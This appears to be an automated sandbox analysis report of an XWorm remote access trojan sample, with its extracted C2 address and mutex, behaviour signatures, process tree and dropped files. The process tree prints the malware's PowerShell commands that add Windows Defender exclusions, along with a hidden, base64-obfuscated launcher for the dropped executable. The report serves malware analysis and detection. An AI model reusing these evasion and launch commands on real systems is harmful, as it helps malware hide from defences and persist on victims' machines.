Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 10:45

General

  • Target
    0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe
  • Size 847KB
  • Sample260910-mtk74sbj9x
  • SHA256 0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 91.239.6.97:4449

Mutex
  • LirmFSh9B8fsG8XB

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe
    "C:\Users\Admin\AppData\Local\Temp\0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4532
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3440
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4296
  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$kdtaev=[System.Environment]::TickCount;$1tfnss=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$kdtaev=[System.Environment]::TickCount;$oazwxh=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXERmYS5leGU=')));$mplq0o=Get-Date;& $1tfnss -FilePath $oazwxh"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5328
    • C:\Users\Admin\AppData\Roaming\Dfa.exe
      "C:\Users\Admin\AppData\Roaming\Dfa.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2176
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Dfa.exe"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4148
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2720

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 21KB
        • SHA256 593ae6cac921d885190005ab482477f870d3bc312605e03805dff829b2c9e6db
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_dfadvghg.0lf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dfadvghg.0lf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        Dfa.exe

        • Path C:\Users\Admin\AppData\Roaming\Dfa.exe
        • Size 847KB
        • SHA256 0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3440-14-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/3440-16-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/3440-35-0x0000000075940000-0x000000007598C000-memory.dmp

        memory/3440-46-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/3440-34-0x0000000006AD0000-0x0000000006B06000-memory.dmp

        memory/3440-43-0x0000000007100000-0x0000000007196000-memory.dmp

        memory/3440-42-0x0000000006F00000-0x0000000006F0A000-memory.dmp

        memory/3440-41-0x0000000006E90000-0x0000000006EAA000-memory.dmp

        memory/3440-40-0x00000000074D0000-0x0000000007B4C000-memory.dmp

        memory/3440-27-0x0000000005B60000-0x0000000005BAC000-memory.dmp

        memory/3440-13-0x0000000004640000-0x0000000004676000-memory.dmp

        memory/3440-38-0x0000000006AA0000-0x0000000006AC0000-memory.dmp

        memory/3440-15-0x0000000004D90000-0x00000000053DA000-memory.dmp

        memory/3440-26-0x0000000005B10000-0x0000000005B2E000-memory.dmp

        memory/3440-17-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/3440-20-0x00000000054C0000-0x0000000005526000-memory.dmp

        memory/3440-24-0x0000000005720000-0x0000000005A7B000-memory.dmp

        memory/3440-19-0x00000000053E0000-0x0000000005446000-memory.dmp

        memory/3440-18-0x0000000004C50000-0x0000000004C72000-memory.dmp

        memory/3440-39-0x0000000006B30000-0x0000000006BD3000-memory.dmp

        memory/4148-51-0x00000000060B0000-0x000000000640B000-memory.dmp

        memory/4148-54-0x0000000071320000-0x000000007136C000-memory.dmp

        memory/4148-57-0x0000000007810000-0x00000000078B3000-memory.dmp

        memory/4148-53-0x0000000006B30000-0x0000000006B7C000-memory.dmp

        memory/4296-23-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/4296-12-0x0000000000400000-0x000000000040E000-memory.dmp

        memory/4296-31-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/4296-47-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/4532-11-0x0000000005770000-0x000000000581A000-memory.dmp

        memory/4532-7-0x0000000005310000-0x0000000005334000-memory.dmp

        memory/4532-25-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/4532-0-0x0000000075072000-0x0000000075073000-memory.dmp

        memory/4532-10-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/4532-9-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/4532-8-0x0000000075072000-0x0000000075073000-memory.dmp

        memory/4532-1-0x0000000000670000-0x000000000074A000-memory.dmp

        memory/4532-6-0x0000000075060000-0x000000007581C000-memory.dmp

        memory/4532-5-0x0000000005340000-0x00000000053DC000-memory.dmp

        memory/4532-4-0x0000000005110000-0x000000000511A000-memory.dmp

        memory/4532-3-0x0000000005160000-0x00000000051F2000-memory.dmp

        memory/4532-2-0x0000000005860000-0x0000000005E1A000-memory.dmp

        memory/5328-30-0x00000235D6C50000-0x00000235D6C72000-memory.dmp